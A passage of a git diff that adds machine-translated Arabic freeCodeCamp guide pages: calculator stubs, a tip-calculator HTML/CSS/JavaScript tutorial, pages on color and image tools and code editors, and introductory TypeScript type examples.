index 0000000000..6045ecd684
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/sales-tax-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Sales Tax Calculator
+localeTitle: حاسبة ضريبة المبيعات
+---
+## حاسبة ضريبة المبيعات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/sales-tax-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/sample-size-calculator/index.md b/client/src/guide/arabic/tools/calculators/sample-size-calculator/index.md
new file mode 100644
index 0000000000..be93a5b72c
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/sample-size-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Sample Size Calculator
+localeTitle: حاسبة حجم العينة
+---
+## حاسبة حجم العينة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/sample-size-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/scientific-calculator/index.md b/client/src/guide/arabic/tools/calculators/scientific-calculator/index.md
new file mode 100644
index 0000000000..fc902e1712
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/scientific-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Scientific Calculator
+localeTitle: حاسبة علمية
+---
+## حاسبة علمية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/scientific-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/sigma-sum-calculator/index.md b/client/src/guide/arabic/tools/calculators/sigma-sum-calculator/index.md
new file mode 100644
index 0000000000..11815b28a6
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/sigma-sum-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Sigma Sum Calculator
+localeTitle: سيغما مبلغ حاسبة
+---
+## سيغما مبلغ حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/sigma-sum-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/slope-calculator/index.md b/client/src/guide/arabic/tools/calculators/slope-calculator/index.md
new file mode 100644
index 0000000000..f777c2d78f
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/slope-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Slope Calculator
+localeTitle: المنحدر حاسبة
+---
+## المنحدر حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/slope-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/square-footage-calculator/index.md b/client/src/guide/arabic/tools/calculators/square-footage-calculator/index.md
new file mode 100644
index 0000000000..68bb4354a9
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/square-footage-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Square Footage Calculator
+localeTitle: مربع لقطات لقطات
+---
+## مربع لقطات لقطات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/square-footage-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/standard-deviation-calculator/index.md b/client/src/guide/arabic/tools/calculators/standard-deviation-calculator/index.md
new file mode 100644
index 0000000000..babbab4074
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/standard-deviation-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation Calculator
+localeTitle: حاسبة الانحراف المعيارية
+---
+## حاسبة الانحراف المعيارية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/standard-deviation-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/surface-area-calculator/index.md b/client/src/guide/arabic/tools/calculators/surface-area-calculator/index.md
new file mode 100644
index 0000000000..e6890caaaa
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/surface-area-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Surface Area Calculator
+localeTitle: حاسبة المساحة السطحية
+---
+## حاسبة المساحة السطحية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/surface-area-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/take-home-paycheck-calculator/index.md b/client/src/guide/arabic/tools/calculators/take-home-paycheck-calculator/index.md
new file mode 100644
index 0000000000..cab8a72873
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/take-home-paycheck-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Take Home Paycheck Calculator
+localeTitle: أخذ حاسبة صك الراتب
+---
+## أخذ حاسبة صك الراتب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/take-home-paycheck-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/time-zone-calculator/index.md b/client/src/guide/arabic/tools/calculators/time-zone-calculator/index.md
new file mode 100644
index 0000000000..b535af75f0
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/time-zone-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Time Zone Calculator
+localeTitle: حاسبة المنطقة الزمنية
+---
+## حاسبة المنطقة الزمنية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/time-zone-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/tip-calculator/index.md b/client/src/guide/arabic/tools/calculators/tip-calculator/index.md
new file mode 100644
index 0000000000..6bace4264a
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/tip-calculator/index.md
@@ -0,0 +1,125 @@
+---
+title: Tip Calculator
+localeTitle: نوع الكمبيوتر
+---
+## تلميح حاسبة
+
+حاسبة التلميحات هي عبارة عن آلة حاسبة تقوم بحساب معلومات سرية بناءً على النسبة المئوية للفاتورة الإجمالية.
+
+## الخطوة 1 - HTML:
+
+نحن ننشئ نموذجًا لإدخال المبلغ المفضل:
+
+ `
+<!doctype html> 
+ <html lang="en"> 
+  <head> 
+    <title>Tip Calculator</title> 
+    <!-- Required meta tags --> 
+    <meta charset="utf-8"> 
+    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> 
+ 
+    <!-- Bootstrap CSS --> 
+    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous"> 
+ 
+ 
+ 
+  </head> 
+  <body class="bg-dark"> 
+    <div class="container"> 
+      <div class="row"> 
+        <div class="col-md-6 mx-auto"> 
+          <div class="card card-body text-center mt-5"> 
+            <h1 class="heading display-5 pb-3">Tip Calculator</h1> 
+            <form id="tip-form"> 
+              <div class="form-group"> 
+                <div class="input-group"> 
+                  <span class="input-group-addon">$</span> 
+                  <input type="number" class="form-control" id="billTotal" placeholder="Total Bill"> 
+                </div> 
+              </div> 
+              <div class="form-group tipPersent"> 
+                <div class="input-group"> 
+                  <label for="">Tip:</label> 
+ 
+ 
+                  <input type="range" class="form-control" id="tipInput" value="0"> 
+                  <span class="input-group-addon" id="tipOutput"></span> 
+                </div> 
+              </div> 
+ 
+ 
+ 
+            </form> 
+            <hr> 
+ 
+            <!-- RESULTS --> 
+            <div id="results" class="pt-4"> 
+              <h5>Results</h5> 
+              <div class="form-group"> 
+                <div class="input-group"> 
+                  <span class="input-group-addon">Tip amount</span> 
+                  <input type="number" class="form-control" id="tipAmount" disabled> 
+                </div> 
+              </div> 
+ 
+              <div class="form-group"> 
+                <div class="input-group"> 
+                  <span class="input-group-addon">Total Bill with Tip</span> 
+                  <input type="number" class="form-control" id="totalBillWithTip" disabled> 
+                </div> 
+              </div> 
+ 
+ 
+            </div> 
+          </div> 
+        </div> 
+      </div> 
+    </div> 
+ 
+    <!-- Optional JavaScript --> 
+    <!-- jQuery first, then Popper.js, then Bootstrap JS --> 
+    <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script> 
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script> 
+    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script> 
+ 
+  </body> 
+ </html> 
+` 
+
+## الخطوة 2 - CSS:
+
+يمكنك تصميم النمط كيفما تشاء. يمكنك أيضًا استخدام CSS لإخفاء النتائج وعرضها من خلال جافا سكريبت بعد ملء المستخدم للنموذج:
+
+ `  #results { 
+         display:none; 
+       } 
+` 
+
+## الخطوة 3: JavaScript:
+
+نضيف حدث onchange. يحدث الحدث onchange عندما يتفاعل المستخدم مع النموذج.
+
+سيقوم هذا الإجراء بتنفيذ وظيفة تقوم بحساب مبلغ الفاتورة النهائي استنادًا إلى طرف النسبة المئوية ، ثم تقوم بإرجاع النتائج.
+
+ ``document.querySelector('#tip-form').onchange = function(){ 
+ 
+  var bill = Number(document.getElementById('billTotal').value); 
+  var tip = document.getElementById('tipInput').value; 
+  document.getElementById('tipOutput').innerHTML = `${tip}%`; 
+  var tipValue = bill * (tip/100) 
+  var finalBill = bill + tipValue 
+ console.log(finalBill) 
+ var tipAmount = document.querySelector('#tipAmount') 
+ var totalBillWithTip = document.querySelector('#totalBillWithTip') 
+ 
+ tipAmount.value = tipValue.toFixed(2); 
+ totalBillWithTip.value =finalBill.toFixed(2); 
+ 
+ //Show Results 
+ 
+  document.getElementById('results').style.display='block' 
+ } 
+`` 
+
+يمكنك مشاهدة مثال [عملي ورمزه](https://codepen.io/voula12/pen/djrZGw) على [Codepen.io](https://codepen.io/voula12/pen/djrZGw) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/triangle-calculator/index.md b/client/src/guide/arabic/tools/calculators/triangle-calculator/index.md
new file mode 100644
index 0000000000..bd1c92153f
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/triangle-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Triangle Calculator
+localeTitle: مثلث حاسبة
+---
+## مثلث حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/triangle-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/vector-calculator/index.md b/client/src/guide/arabic/tools/calculators/vector-calculator/index.md
new file mode 100644
index 0000000000..2532ec42c7
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/vector-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Vector Calculator
+localeTitle: حاسبة المتجهات
+---
+## حاسبة المتجهات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/vector-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/voltage-drop-calculator/index.md b/client/src/guide/arabic/tools/calculators/voltage-drop-calculator/index.md
new file mode 100644
index 0000000000..2659b9c9d6
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/voltage-drop-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Voltage Drop Calculator
+localeTitle: انخفاض الجهد حاسبة
+---
+## انخفاض الجهد حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/voltage-drop-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/volume-calculator/index.md b/client/src/guide/arabic/tools/calculators/volume-calculator/index.md
new file mode 100644
index 0000000000..e87e89143d
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/volume-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Volume Calculator
+localeTitle: حجم حاسبة
+---
+## حجم حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/volume-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/color-naming/index.md b/client/src/guide/arabic/tools/color-naming/index.md
new file mode 100644
index 0000000000..6eed945488
--- /dev/null
+++ b/client/src/guide/arabic/tools/color-naming/index.md
@@ -0,0 +1,13 @@
+---
+title: Color Naming
+localeTitle: تسمية اللون
+---
+## تسمية اللون
+
+يمكن أن يكون التعامل مع أسماء الألوان أمرًا صعبًا حقًا. هناك أداة رائعة تسمح لك بإنشاء اسم عشوائي استنادًا إلى الشفرة السداسية للون السداسي الخاص بك.
+
+### معلومات اكثر
+
+*   [اسم هذا اللون](http://chir.ag/projects/name-that-color)
+    
+*   [حزمة npm color-name-generator](https://www.npmjs.com/package/color-name-generator)
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/color-picker/index.md b/client/src/guide/arabic/tools/color-picker/index.md
new file mode 100644
index 0000000000..1e626e5879
--- /dev/null
+++ b/client/src/guide/arabic/tools/color-picker/index.md
@@ -0,0 +1,33 @@
+---
+title: Color Picker
+localeTitle: لون المنتقى
+---
+## لون المنتقى
+
+يعتبر منتقي الألوان أداة لتجربة الألوان للويب. يمكنك استخدامه للاختيار بين كيفية اختلاف الألوان والنغمات معًا والعثور على الاختلافات بينها. غالبًا ما يعرض ملتقطو الألوان الألوان ومعلوماتهم بتنسيقات مختلفة ، بما في ذلك Hexadecimal و RGB.
+
+### مواقع على الإنترنت
+
+تقدم مواقع ملتقط الألوان أبسط الطرق للاختيار بسرعة بين الألوان والحصول على معلومات عنها. فهي مفيدة عندما تكون غير متأكد من استخدام لون أو آخر أو ترغب فقط في الحصول على اللون الذي تستخدمه بتنسيق مختلف.
+
+### ملحقات المتصفح
+
+يتيح لك تثبيت ملحق متصفح منتقي الألوان الحصول على معلومات حول الألوان المستخدمة في صفحات الويب. من المفيد عندما ترى لونًا في مكان ما وتريد الحصول على الرمز الخاص به. ما عليك سوى النقر على المكان الذي يوجد فيه اللون أو التمرير إليه ، وستعرض لك الإضافة الشفرة بحيث يمكنك استخدامها في مكان آخر.
+
+### حزم محرر رمز / ملحقات
+
+هناك طريقة عملية أخرى لاختيار منتقي الألوان لتثبيتها كحزمة أو ملحق على محرر المفضلة لديك. فهو يمنحك إمكانية تصور وتغيير الألوان بمجرد النقر عليها دون الحاجة إلى مغادرة محررك. بالإضافة إلى أنماط CSS الشائعة ، فإنها غالباً ما تدعم متغيّرات SASS و LESS وألوانها بصيغ مختلفة.
+
+### معلومات اكثر:
+
+يمكنك التحقق من الأمثلة الشائعة لأدوات اختيار اللون أدناه.
+
+*   [W3schools منتقي الألوان على الإنترنت](https://www.w3schools.com/colors/colors_picker.asp)
+    
+*   [ملحق متصفح ColorZilla](http://www.colorzilla.com/)
+    
+*   [حزمة منتقي الألوان لـ Atom](https://atom.io/packages/color-picker)
+    
+*   [Ambiance Color Palettes](http://ambiance.somethingjustlikethis.com/)
+    
+*   [Instant Eyedropper](http://www.instant-eyedropper.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/image-editor/index.md b/client/src/guide/arabic/tools/image-editor/index.md
new file mode 100644
index 0000000000..d3b5be4638
--- /dev/null
+++ b/client/src/guide/arabic/tools/image-editor/index.md
@@ -0,0 +1,26 @@
+---
+title: Image Editor
+localeTitle: محرر الصور
+---
+# محرر الصور
+
+يستخدم المطورون / الفنانون محررو الصور للتلاعب أو تحويل الصور. _اقتصاص ، تغيير الحجم ، تصحيح الألوان ، مركب (ضم العديد من الصور في صورة واحدة) ، أو قم بإزالة الأشياء غير المرغوب فيها._ بعضها أكثر شيوعًا من البعض الآخر ، ولكن جميعها تتمتع بإمكانيات تعديل مماثلة. تغطي الأقسام التالية بعض اختلافاتهم.
+
+### محرري صور تطبيقات الويب
+
+تتوفر برامج تحرير صور تطبيقات الويب في المتصفح. وبعبارة أخرى ، لا تحتاج إلى ترك المتصفح الخاص بك للعمل على صورة. على سبيل المثال: القدرة على فتح الصور من مجلد / رابط محلي.
+
+### مفتوحة المصدر المحررين
+
+متوفرة كتنزيلات مجانية ومفتوحة لمساهمات المستخدمين في تطوير البرنامج.
+
+### المحررين المدفوعة
+
+يحتاج المحررون المدفوعون إما إلى دفعة لمرة واحدة أو يعتمدون على الاشتراك. ولكن ، تتوفر إصدارات تجريبية لاختبار البرنامج قبل الالتزام بالشراء. إذا كنت طالباً ، في كثير من الأحيان ، هناك خصومات متاحة من خلال بريد إلكتروني أو هوية طالب.
+
+### الروابط:
+
+*   [محرر Pixlr](https://pixlr.com/editor/) - مجاني | المتصفح
+*   [الأعرج](https://www.gimp.org/) - مجاني | تنزيل | مفتوح المصدر
+*   [فوتوشوب](https://www.adobe.com/products/photoshop.html) - تجربة مجانية دفع
+*   [فوتوشوب اكسبرس](https://www.photoshop.com/products/photoshopexpress) - مجاني | التليفون المحمول
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/index.md b/client/src/guide/arabic/tools/index.md
new file mode 100644
index 0000000000..cd879a843b
--- /dev/null
+++ b/client/src/guide/arabic/tools/index.md
@@ -0,0 +1,9 @@
+---
+title: Tools
+localeTitle: أدوات
+---
+## أدوات
+
+تحتوي هذه الفئة على العديد من الأدوات البسيطة للمطورين ، مثل المحولات وأدوات الألوان والمراجع.
+
+إذا كنت تريد أداة للأغراض العامة للرياضيات ، أو البرمجة ، أو التصميم ، فيمكنك أن تطلب من شخص أن يبنيها عن طريق [إنشاء مشكلة GitHub هنا](https://www.github.com/freecodecamp/guides/issues/new) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/prime-number-chart/index.md b/client/src/guide/arabic/tools/prime-number-chart/index.md
new file mode 100644
index 0000000000..bb20685936
--- /dev/null
+++ b/client/src/guide/arabic/tools/prime-number-chart/index.md
@@ -0,0 +1,15 @@
+---
+title: Prime Number Chart
+localeTitle: رئيس الوزراء الرسم البياني
+---
+## رئيس الوزراء الرسم البياني
+
+**الرقم الرئيسي** : أي عدد صحيح أكبر من 1 تكون عوامله الأولى فقط.
+
+**الأرقام الأولية 1 - 100**
+
+| 2 | 3 | 5 | 7 | 11 | | ---- | ---- | ---- | ---- | ---- | | 13 | 17 | 19 | 23 | 29 | | 31 | 37 | 41 | 43 | 47 | | 53 | 59 | 61 | 67 | 71 | | 73 | 79 | 83 | 89 | 97 |
+
+#### معلومات اكثر:
+
+[WolframMathWorld: Prime Numbers](http://mathworld.wolfram.com/PrimeNumber.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/prime-number-generator/index.md b/client/src/guide/arabic/tools/prime-number-generator/index.md
new file mode 100644
index 0000000000..9b9876f37f
--- /dev/null
+++ b/client/src/guide/arabic/tools/prime-number-generator/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Number Generator
+localeTitle: مولد رقم رئيس
+---
+## مولد رقم رئيس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/prime-number-generator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/source-code-editors/index.md b/client/src/guide/arabic/tools/source-code-editors/index.md
new file mode 100644
index 0000000000..f2df643582
--- /dev/null
+++ b/client/src/guide/arabic/tools/source-code-editors/index.md
@@ -0,0 +1,61 @@
+---
+title: Source Code Editors
+localeTitle: محرر كود المصدر
+---
+## محرر كود المصدر
+
+برامج تحرير التعليمات البرمجية المصدر هي البرامج التي تسمح بإنشاء الكود و  
+التحرير. يمكن استخدام أي محرر نص لكتابة التعليمات البرمجية. لكن كود مخصص  
+يقدم المحررين العديد من الميزات المفيدة ، بما في ذلك: إكمال النص ،  
+تلوين العلامات ، وعلامات التبويب / الألواح للتحرير جنبًا إلى جنب. هذه الميزات يمكن  
+تكون مفيدة حتى للمستخدمين الجدد الذين لا يعرفون طريقهم حول كل من  
+خيارات متقدمة.
+
+يوجد العديد من المحررين متوفرون للتنزيل أو الاستخدام  
+على الانترنت ، سواء المدفوعة والمجانية. أنها توفر العديد من نفس الميزات الأساسية ، ولكن  
+كل منها subtlties الخاصة بهم. مزيد من البحث قد يساعد في العثور على واحد هذا  
+مناسب لك. المحررين التالية كلها عبر منصة و  
+مجانا لاستخدام أو تقييم.
+
+## [نص سامي](https://www.sublimetext.com/) ![أيقونة نصية سامية](//discourse-user-assets.s3.amazonaws.com/original/2X/1/1249e18855b9c9ef177e636e6c4e308b4877bf2d.png)
+
+![لقطة شاشة رائعة](//discourse-user-assets.s3.amazonaws.com/original/2X/6/63f774c31a7b1a439bcef9d11e95463b6998310e.png)
+
+Sublime Text محرر شائع جدًا [منذ عام 2008](https://www.sublimetext.com/blog/articles/one-point-oh) . هناك  
+هناك العديد من الخيارات [والإضافات](https://packagecontrol.io/) المتاحة ،  
+والكثير من [المساعدة المتاحة](http://stackoverflow.com/search?q=sublime+text)  
+على الانترنت للمساعدة  
+[اعده](http://www.websightdesigns.com/wiki/Setting_up_Sublime_Text_3) .  
+(الرخصة لاستمرار استخدام تكاليف 70 دولارا. ومع ذلك، Sublime نص مجاني  
+تنزيل وتقييم ، مع نافذة منبثقة لشاشة تذمر.)
+
+## [اقواس](http://brackets.io/) ![بين قوسين أيقونة](//discourse-user-assets.s3.amazonaws.com/original/2X/d/df30640741461569071875cf4ff6cad9924f8b32.png)
+
+![بين قوسين لقطة](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2f395a58d24ed551ed8440a10ae640777f1143b6.png)
+
+Brackets هو محرر مفتوح المصدر جديد نسبياً من Adobe. إنه مستخدم جدا  
+ودية ، خاصة للأشخاص الذين لا يستخدمون واجهات سطر الأوامر  
+أو إعدادات / أنماط النمط JSON. الامتدادات والمواضيع سريعة وسهلة  
+لإيجاد وتثبيت من خلال مدير الامتدادات.
+
+## [ذرة](https://atom.io/) ![رمز Atom](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7f6ba67d0ea310e1c1024f83c9acc1e0ecf255a8.png)
+
+![لقطة شاشة](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8016e7c0937e8ce6fcb6104c9aee0026443912f5.png)
+
+أتوم هو محرر [مفتوح المصدر](https://github.com/atom/atom) ، وضعت  
+بواسطة [GitHub](https://github.com/) . مثل Sublime Text ، تعتبر Atom شائعة جدًا.  
+انها شكلي للغاية ("hackable" ، كما يقولون) ولكن الميزات المتقدمة قد  
+تكون ساحقة للمستخدمين الجدد. هناك أيضا الكثير من [الوثائق](http://flight-manual.atom.io/) [المفيدة](http://readwrite.com/2014/05/20/github-atom-5-tips-getting-started-tutorial-corey-johnson/)
+
+[افايلبلي](http://stackoverflow.com/search?q=atom) على الانترنت.
+
+## [كود الاستوديو المرئي](https://code.visualstudio.com/) ![رمز رمز الاستوديو المرئي](https://i.imgur.com/b4vFsKa.png)
+
+![لقطة شاشة Visual Studio Code](https://code.visualstudio.com/home/home-screenshot-mac-lg.png)
+
+Visual Studio Code هو برنامج تحرير التعليمات البرمجية المصدر الذي تم تطويره بواسطة Microsoft في 2015 ، وهو الآن أحد أشهر برامج تحرير التعليمات البرمجية لتطوير الويب. وهو يدعم العديد من لغات البرمجة ، ومثل البرامج الأخرى يمكنك تنزيل الإضافات أو الإضافات لجعلها أكثر قابلية للتهيئة لنمط التشفير الخاص بك. معالمه الرئيسية هي:
+
+*   IntelliSense - لتسليط الضوء على بناء الجملة ، الإكمال التلقائي ، وتعريفات وظائف ذكية كاملة.
+*   تصحيح الأخطاء - كن قادراً على التصحيح باستخدام نقاط التوقف ، مكدّسات المكالمات ووحدة التحكم التفاعلية.
+*   بناء في جيت - استعراض فرق ، ملفات المرحلة ، وجعل ارتكاب ، ودفع وسحب ، كل ما هو متاح في المحرر.
+*   الإضافات - يمكنك تثبيت الإضافات لإضافة لغات ومظاهر وتصحيحات جديدة وربط خدمات إضافية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/any-type/index.md b/client/src/guide/arabic/typescript/any-type/index.md
new file mode 100644
index 0000000000..2c4dc1a00c
--- /dev/null
+++ b/client/src/guide/arabic/typescript/any-type/index.md
@@ -0,0 +1,12 @@
+---
+title: Any Type
+localeTitle: أي نوع
+---
+# أي نوع
+
+أي نوع يرشد Typescript لتعليق نوع التحقق للمتغيرات المحددة. من المفيد عند العمل باستخدام محتوى ديناميكي لا تعرف هذا النوع منه ، ولنقل شفرة البرمجة الخاصة بـ Javascript إلى Typescript في أجزاء. يمكنك استخدام الكتابة الضمنية لجافا سكريبت مع المتغيرات التي يتم الإعلان عنها بنوع "أي".
+
+ `  let notSure: any = 4; 
+  notSure = "maybe a string instead"; 
+  notSure = false; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/typescript/array-type/index.md b/client/src/guide/arabic/typescript/array-type/index.md
new file mode 100644
index 0000000000..e7ec9209b4
--- /dev/null
+++ b/client/src/guide/arabic/typescript/array-type/index.md
@@ -0,0 +1,55 @@
+---
+title: Array Type
+localeTitle: نوع المصفوفة
+---
+# نوع المصفوفة
+
+لديك حق الوصول الكامل إلى صفائف في TypeScript. يمكن كتابة الصفائف بطريقتين مختلفتين في TypeScript:
+
+**نوع البيانات\[\]**  
+DataType متبوعة بأقواس مربعة `[]`
+
+ `let names: string[] = ['Javier', 'Emma', 'John', 'Sophia', 'Emma']; 
+` 
+
+**مجموعة <نوع البيانات>**  
+`Array` متبوعة <DataType>
+
+ `let names: Array<string> = ['Javier', 'Emma', 'John', 'Sophia', 'Emma']; 
+` 
+
+## أساليب مدمجة
+
+في نوع الصفيف في Typescript ، يمكنك استخدام بعض الوظائف المضمنة. كل نوع لديه طرق مشتركة وفريدة من نوعها. أدناه يمكنك أن تقرأ عن أكثر استخدامات من أساليب نوع الصفيف. في المثال ، سنستخدم تصريح الصفيف من الأعلى.
+
+### البوب ​​()
+
+يزيل العنصر الأخير من مصفوفة ويعود إليه.
+
+ `var element = names.pop(); 
+ //element = Emma 
+ var element2 = names.pop(); 
+ //element2 = Sophia 
+` 
+
+### إدفع()
+
+يضيف عنصرًا واحدًا أو أكثر إلى نهاية الصفيف ويعود بالطول الجديد للمصفوفة.
+
+ `var length = names.push('Tobias'); 
+ // names[] = ['Javier', 'Emma', 'John', 'Sophia', 'Emma', 'Tobias'] 
+ // lenght = 6 
+ var length2 = names.push('Jack','Lily'); 
+ // names[] = ['Javier', 'Emma', 'John', 'Sophia', 'Emma', 'Tobias','Jack','Lily'] 
+ // lenght2 = 8 
+` 
+
+### عكس()
+
+عكس ترتيب الصفيف وإرجاعها
+
+ `var reverseNames = names.reverse(); 
